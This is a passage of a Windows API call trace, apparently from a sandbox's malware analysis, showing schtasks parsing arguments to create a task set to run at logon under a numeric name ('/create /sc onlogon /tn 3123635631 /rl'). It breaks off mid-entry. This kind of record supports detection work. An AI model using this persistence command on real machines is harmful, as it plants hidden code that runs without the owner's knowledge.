[0020.012] lstrlenW (lpString="|create|") returned 8 [0020.012] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0020.012] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.012] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.012] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.012] lstrlenW (lpString="/sc") returned 3 [0020.012] lstrlenW (lpString="-/") returned 2 [0020.012] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0020.012] lstrlenW (lpString="create") returned 6 [0020.012] lstrlenW (lpString="create") returned 6 [0020.012] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.012] lstrlenW (lpString="sc") returned 2 [0020.013] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.013] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|create|") returned 8 [0020.013] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|sc|") returned 4 [0020.013] lstrlenW (lpString="|create|") returned 8 [0020.013] lstrlenW (lpString="|sc|") returned 4 [0020.013] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0020.013] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.013] lstrlenW (lpString="?") returned 1 [0020.013] lstrlenW (lpString="?") returned 1 [0020.013] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.013] lstrlenW (lpString="sc") returned 2 [0020.013] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.013] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|?|") returned 3 [0020.013] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|sc|") returned 4 [0020.013] lstrlenW (lpString="|?|") returned 3 [0020.013] lstrlenW (lpString="|sc|") returned 4 [0020.013] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.013] lstrlenW (lpString="s") returned 1 [0020.013] lstrlenW (lpString="s") returned 1 [0020.013] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.013] lstrlenW (lpString="sc") returned 2 [0020.013] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.013] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|s|") returned 3 [0020.013] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|sc|") returned 4 [0020.013] lstrlenW (lpString="|s|") returned 3 [0020.013] lstrlenW (lpString="|sc|") returned 4 [0020.013] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.013] lstrlenW (lpString="u") returned 1 [0020.013] lstrlenW (lpString="u") returned 1 [0020.013] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.013] lstrlenW (lpString="sc") returned 2 [0020.013] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.013] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|u|") returned 3 [0020.013] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|sc|") returned 4 [0020.013] lstrlenW (lpString="|u|") returned 3 [0020.013] lstrlenW (lpString="|sc|") returned 4 [0020.013] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.013] lstrlenW (lpString="p") returned 1 [0020.013] lstrlenW (lpString="p") returned 1 [0020.013] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.013] lstrlenW (lpString="sc") returned 2 [0020.013] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.013] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|p|") returned 3 [0020.013] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|sc|") returned 4 [0020.013] lstrlenW (lpString="|p|") returned 3 [0020.013] lstrlenW (lpString="|sc|") returned 4 [0020.013] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.013] lstrlenW (lpString="ru") returned 2 [0020.013] lstrlenW (lpString="ru") returned 2 [0020.013] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.013] lstrlenW (lpString="sc") returned 2 [0020.013] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.013] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|ru|") returned 4 [0020.013] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|sc|") returned 4 [0020.013] lstrlenW (lpString="|ru|") returned 4 [0020.013] lstrlenW (lpString="|sc|") returned 4 [0020.013] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0020.014] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.014] lstrlenW (lpString="rp") returned 2 [0020.014] lstrlenW (lpString="rp") returned 2 [0020.014] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.014] lstrlenW (lpString="sc") returned 2 [0020.014] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.014] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rp|") returned 4 [0020.014] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|sc|") returned 4 [0020.014] lstrlenW (lpString="|rp|") returned 4 [0020.014] lstrlenW (lpString="|sc|") returned 4 [0020.014] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0020.014] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.014] lstrlenW (lpString="sc") returned 2 [0020.014] lstrlenW (lpString="sc") returned 2 [0020.014] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.014] lstrlenW (lpString="sc") returned 2 [0020.014] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.014] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|sc|") returned 4 [0020.014] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|sc|") returned 4 [0020.014] lstrlenW (lpString="|sc|") returned 4 [0020.014] lstrlenW (lpString="|sc|") returned 4 [0020.014] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0020.014] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.014] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.014] lstrlenW (lpString="onlogon") returned 7 [0020.014] lstrlenW (lpString="-/") returned 2 [0020.014] StrChrIW (lpStart="-/", wMatch=0x6f) returned 0x0 [0020.014] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.014] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.014] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.014] lstrlenW (lpString="onlogon") returned 7 [0020.014] StrChrIW (lpStart="onlogon", wMatch=0x3a) returned 0x0 [0020.014] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.014] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.014] _memicmp (_Buf1=0x56c423ebe0, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.014] lstrlenW (lpString="onlogon") returned 7 [0020.014] lstrlenW (lpString="onlogon") returned 7 [0020.014] lstrlenW (lpString=" \x09") returned 2 [0020.014] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0020.014] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0020.014] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0020.014] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0020.014] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0020.014] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0020.014] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0020.014] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0020.014] GetLastError () returned 0x0 [0020.014] lstrlenW (lpString="onlogon") returned 7 [0020.014] lstrlenW (lpString="onlogon") returned 7 [0020.014] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.014] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.014] lstrlenW (lpString="/tn") returned 3 [0020.014] lstrlenW (lpString="-/") returned 2 [0020.014] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0020.014] lstrlenW (lpString="create") returned 6 [0020.014] lstrlenW (lpString="create") returned 6 [0020.014] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.014] lstrlenW (lpString="tn") returned 2 [0020.015] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.015] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|create|") returned 8 [0020.015] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tn|") returned 4 [0020.015] lstrlenW (lpString="|create|") returned 8 [0020.015] lstrlenW (lpString="|tn|") returned 4 [0020.015] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0020.015] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.015] lstrlenW (lpString="?") returned 1 [0020.015] lstrlenW (lpString="?") returned 1 [0020.015] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.015] lstrlenW (lpString="tn") returned 2 [0020.015] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.015] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|?|") returned 3 [0020.015] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tn|") returned 4 [0020.015] lstrlenW (lpString="|?|") returned 3 [0020.015] lstrlenW (lpString="|tn|") returned 4 [0020.015] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.015] lstrlenW (lpString="s") returned 1 [0020.015] lstrlenW (lpString="s") returned 1 [0020.015] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.015] lstrlenW (lpString="tn") returned 2 [0020.015] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.015] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|s|") returned 3 [0020.015] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tn|") returned 4 [0020.015] lstrlenW (lpString="|s|") returned 3 [0020.015] lstrlenW (lpString="|tn|") returned 4 [0020.015] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.015] lstrlenW (lpString="u") returned 1 [0020.015] lstrlenW (lpString="u") returned 1 [0020.015] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.015] lstrlenW (lpString="tn") returned 2 [0020.015] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.015] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|u|") returned 3 [0020.015] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tn|") returned 4 [0020.015] lstrlenW (lpString="|u|") returned 3 [0020.015] lstrlenW (lpString="|tn|") returned 4 [0020.015] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.015] lstrlenW (lpString="p") returned 1 [0020.015] lstrlenW (lpString="p") returned 1 [0020.015] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.015] lstrlenW (lpString="tn") returned 2 [0020.015] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.015] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|p|") returned 3 [0020.015] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tn|") returned 4 [0020.015] lstrlenW (lpString="|p|") returned 3 [0020.015] lstrlenW (lpString="|tn|") returned 4 [0020.015] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.015] lstrlenW (lpString="ru") returned 2 [0020.015] lstrlenW (lpString="ru") returned 2 [0020.015] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.015] lstrlenW (lpString="tn") returned 2 [0020.015] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.015] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|ru|") returned 4 [0020.015] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tn|") returned 4 [0020.015] lstrlenW (lpString="|ru|") returned 4 [0020.015] lstrlenW (lpString="|tn|") returned 4 [0020.015] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0020.016] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.016] lstrlenW (lpString="rp") returned 2 [0020.016] lstrlenW (lpString="rp") returned 2 [0020.016] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.016] lstrlenW (lpString="tn") returned 2 [0020.016] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.016] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rp|") returned 4 [0020.016] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tn|") returned 4 [0020.016] lstrlenW (lpString="|rp|") returned 4 [0020.016] lstrlenW (lpString="|tn|") returned 4 [0020.016] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0020.016] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.016] lstrlenW (lpString="sc") returned 2 [0020.016] lstrlenW (lpString="sc") returned 2 [0020.016] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.016] lstrlenW (lpString="tn") returned 2 [0020.016] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.016] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|sc|") returned 4 [0020.016] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tn|") returned 4 [0020.016] lstrlenW (lpString="|sc|") returned 4 [0020.016] lstrlenW (lpString="|tn|") returned 4 [0020.016] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0020.016] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.016] lstrlenW (lpString="mo") returned 2 [0020.016] lstrlenW (lpString="mo") returned 2 [0020.016] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.016] lstrlenW (lpString="tn") returned 2 [0020.016] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.016] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|mo|") returned 4 [0020.016] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tn|") returned 4 [0020.016] lstrlenW (lpString="|mo|") returned 4 [0020.016] lstrlenW (lpString="|tn|") returned 4 [0020.016] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0020.016] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.016] lstrlenW (lpString="d") returned 1 [0020.016] lstrlenW (lpString="d") returned 1 [0020.016] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.016] lstrlenW (lpString="tn") returned 2 [0020.016] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.016] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|d|") returned 3 [0020.016] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tn|") returned 4 [0020.016] lstrlenW (lpString="|d|") returned 3 [0020.016] lstrlenW (lpString="|tn|") returned 4 [0020.016] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.016] lstrlenW (lpString="m") returned 1 [0020.016] lstrlenW (lpString="m") returned 1 [0020.016] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.016] lstrlenW (lpString="tn") returned 2 [0020.016] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.016] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|m|") returned 3 [0020.016] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tn|") returned 4 [0020.016] lstrlenW (lpString="|m|") returned 3 [0020.016] lstrlenW (lpString="|tn|") returned 4 [0020.016] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.016] lstrlenW (lpString="i") returned 1 [0020.016] lstrlenW (lpString="i") returned 1 [0020.016] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.017] lstrlenW (lpString="tn") returned 2 [0020.017] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.017] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|i|") returned 3 [0020.017] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tn|") returned 4 [0020.017] lstrlenW (lpString="|i|") returned 3 [0020.017] lstrlenW (lpString="|tn|") returned 4 [0020.017] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.017] lstrlenW (lpString="tn") returned 2 [0020.017] lstrlenW (lpString="tn") returned 2 [0020.017] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.017] lstrlenW (lpString="tn") returned 2 [0020.017] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.017] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tn|") returned 4 [0020.017] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|tn|") returned 4 [0020.017] lstrlenW (lpString="|tn|") returned 4 [0020.017] lstrlenW (lpString="|tn|") returned 4 [0020.017] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0020.017] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.017] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.017] lstrlenW (lpString="3123635631") returned 10 [0020.017] lstrlenW (lpString="-/") returned 2 [0020.017] StrChrIW (lpStart="-/", wMatch=0x33) returned 0x0 [0020.017] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.017] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.017] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.017] lstrlenW (lpString="3123635631") returned 10 [0020.017] StrChrIW (lpStart="3123635631", wMatch=0x3a) returned 0x0 [0020.017] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.017] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.017] lstrlenW (lpString="3123635631") returned 10 [0020.017] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.017] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.017] lstrlenW (lpString="/rl") returned 3 [0020.017] lstrlenW (lpString="-/") returned 2 [0020.017] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0020.017] lstrlenW (lpString="create") returned 6 [0020.017] lstrlenW (lpString="create") returned 6 [0020.017] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.017] lstrlenW (lpString="rl") returned 2 [0020.017] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.017] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|create|") returned 8 [0020.017] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.017] lstrlenW (lpString="|create|") returned 8 [0020.017] lstrlenW (lpString="|rl|") returned 4 [0020.017] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0020.017] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.017] lstrlenW (lpString="?") returned 1 [0020.017] lstrlenW (lpString="?") returned 1 [0020.017] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.017] lstrlenW (lpString="rl") returned 2 [0020.017] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.017] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|?|") returned 3 [0020.017] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.017] lstrlenW (lpString="|?|") returned 3 [0020.017] lstrlenW (lpString="|rl|") returned 4 [0020.017] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.017] lstrlenW (lpString="s") returned 1 [0020.018] lstrlenW (lpString="s") returned 1 [0020.018] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.018] lstrlenW (lpString="rl") returned 2 [0020.018] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.018] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|s|") returned 3 [0020.018] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.018] lstrlenW (lpString="|s|") returned 3 [0020.018] lstrlenW (lpString="|rl|") returned 4 [0020.018] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.018] lstrlenW (lpString="u") returned 1 [0020.018] lstrlenW (lpString="u") returned 1 [0020.018] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.018] lstrlenW (lpString="rl") returned 2 [0020.018] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.018] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|u|") returned 3 [0020.018] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.018] lstrlenW (lpString="|u|") returned 3 [0020.018] lstrlenW (lpString="|rl|") returned 4 [0020.018] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.018] lstrlenW (lpString="p") returned 1 [0020.018] lstrlenW (lpString="p") returned 1 [0020.018] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.018] lstrlenW (lpString="rl") returned 2 [0020.018] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.018] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|p|") returned 3 [0020.018] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.018] lstrlenW (lpString="|p|") returned 3 [0020.018] lstrlenW (lpString="|rl|") returned 4 [0020.018] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.018] lstrlenW (lpString="ru") returned 2 [0020.018] lstrlenW (lpString="ru") returned 2 [0020.018] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.018] lstrlenW (lpString="rl") returned 2 [0020.018] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.018] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|ru|") returned 4 [0020.018] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.018] lstrlenW (lpString="|ru|") returned 4 [0020.018] lstrlenW (lpString="|rl|") returned 4 [0020.018] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0020.018] RtlRestoreLastWin32Error () returned 0x7ff66898d000 [0020.018] lstrlenW (lpString="rp") returned 2 [0020.018] lstrlenW (lpString="rp") returned 2 [0020.018] _memicmp (_Buf1=0x56c423ca50, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.018] lstrlenW (lpString="rl") returned 2 [0020.018] _memicmp (_Buf1=0x56c423ed80, _Buf2=0x7ff6693d1cd8, _Size=0x7) returned 0 [0020.018] _vsnwprintf (in: _Buffer=0x56c42338d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rp|") returned 4 [0020.018] _vsnwprintf (in: _Buffer=0x56c423ee60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x56c410c7e8 | out: _Buffer="|rl|") returned 4 [0020.018] lstrlenW (lpString="|rp|") returned 4 [0020.018] lstrlenW (lpString="|rl|") returned 4 [0020.018] StrStrIW (lpFirst="|rp|", 